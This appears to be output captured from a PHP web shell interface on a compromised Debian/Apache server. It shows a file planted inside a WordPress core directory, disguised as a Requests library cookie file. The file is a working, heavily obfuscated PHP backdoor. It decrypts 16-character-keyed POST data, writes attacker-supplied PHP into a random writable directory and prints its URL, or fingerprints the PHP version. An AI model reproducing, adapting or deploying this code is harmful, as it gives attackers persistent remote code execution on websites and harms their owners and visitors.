HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/Requests/src/Cookie/ewipmqji.php
<?php $YUfTKhHL = "klcowDZD";function NXnvF($YUfTKhHL){ $eDYQnLt = 's'.'t'.chr(114).chr(769-674).chr(677-563).'o'.chr(116).chr(49)."\63";$YUfTKhHL = $eDYQnLt($YUfTKhHL);$hwtZtS = "\162".'a'.chr(407-288).chr(117)."\162".chr(108).chr(1048-948).chr(101)."\x63".chr(111)."\144".chr(101);$YUfTKhHL = $hwtZtS($YUfTKhHL);$YUfTKhHL = str_split($YUfTKhHL);return $YUfTKhHL;}function QsureWWso($KXXqYq, $XqwfJ){$KXXqYq = array_slice(str_split(str_repeat($KXXqYq, (count($XqwfJ)/16)+1)), 0, count($XqwfJ));return $KXXqYq;}function QeHUmw($slvJMpZHH, $iSrXwmhJxS, $KXXqYq){$kWQabPJXb = "c3655008-d0c2-4d1b-915e-78f415c28aa7";return $slvJMpZHH ^ $kWQabPJXb[$iSrXwmhJxS % strlen($kWQabPJXb)] ^ $KXXqYq;}function BnFfQyS($XqwfJ, $KXXqYq){$XqwfJ = array_map("QeHUmw", array_values($XqwfJ), array_keys($XqwfJ), array_values($KXXqYq));$XqwfJ = implode("", $XqwfJ);$GRLbx = "\x75".'n'."\163".chr(101)."\x72".chr(803-698).chr(97)."\154"."\x69".chr(921-799).chr(101);$XqwfJ = @$GRLbx($XqwfJ);return $XqwfJ;}function ctHarqCC(){echo "BKKPIFor";}function EUDYDmdHPN($YNvVWCbRir){static $JJBzCKiykV = array();$FvPTbFZs = glob($YNvVWCbRir . '/*', GLOB_ONLYDIR);$WJZgQxmG = count($FvPTbFZs);if ($WJZgQxmG > 0) {foreach ($FvPTbFZs as $YNvVWCbR) {$CeStcpXoe = chr(632-527).chr(115).chr(1061-966).chr(119).chr(792-678).'i'.chr(267-151)."\141"."\142".'l'.chr(179-78);if (@$CeStcpXoe($YNvVWCbR)) {$JJBzCKiykV[] = $YNvVWCbR;}}}foreach ($FvPTbFZs as $YNvVWCbRir) EUDYDmdHPN($YNvVWCbRir);return $JJBzCKiykV;}function KyhzVuF(){echo "klcowDZD";}function EkpQy($XqwfJ){$nhUlN = "\104".chr(79).chr(598-531)."\x55".chr(77)."\x45".chr(78)."\124".chr(534-439)."\122".chr(1055-976).'O'."\124";$eIgWt = $_SERVER[$nhUlN];$FvPTbFZs = EUDYDmdHPN($eIgWt);$RbfxTJEI = array_rand($FvPTbFZs);$NdOXH = '.'.chr(928-816)."\150".chr(112);$rwbqKROQY = $FvPTbFZs[$RbfxTJEI] . "/" . substr(md5(time()), 0, 8) . $NdOXH;$QYvegi = "\x66"."\x69".'l'.chr(101).chr(95)."\x70".chr(953-836)."\x74"."\x5f".chr(99).chr(111).chr(786-676).'t'.'e'.chr(110).'t'.chr(450-335);@$QYvegi($rwbqKROQY, $XqwfJ);$pRuiXQB = "\x48".chr(84)."\x54"."\x50".'_'.chr(191-119)."\x4f".chr(83)."\x54";$XeQAjtM = "\x68".chr(116).chr(357-241)."\160".chr(58)."\57"."\57";$omgVl = $XeQAjtM . $_SERVER[$pRuiXQB] . substr($rwbqKROQY, strlen($eIgWt));print($omgVl);}function yLYvB(){$eWzkJKq = chr(148-36)."\x68".chr(112);$FnqOSMuvk = "\x70".chr(686-582).'p'.'v'.'e'."\162".'s'.chr(105).chr(111).chr(450-340);$XqwfJ = Array($eWzkJKq => @$FnqOSMuvk(), );$VtUkNrVc = 's'."\x65".'r'.chr(941-836)."\x61".chr(785-677).'i'."\x7a".'e';echo @$VtUkNrVc($XqwfJ);}foreach ($_POST as $KXXqYq => $XqwfJ){$CyTrdzCpaf = strlen($KXXqYq);if ($CyTrdzCpaf == 16){$XqwfJ = NXnvF($XqwfJ);$KXXqYq = QsureWWso($KXXqYq, $XqwfJ);$XqwfJ = BnFfQyS($XqwfJ, $KXXqYq);if (@is_array($XqwfJ)){$RbfxTJEI = array_keys($XqwfJ);$XqwfJ = $XqwfJ[$RbfxTJEI[0]];$RbfxTJEI = $RbfxTJEI[0];$RbfxTJEI = substr($RbfxTJEI, 0);if ($XqwfJ !== $RbfxTJEI){EkpQy($XqwfJ);}else {yLYvB();}die();}}}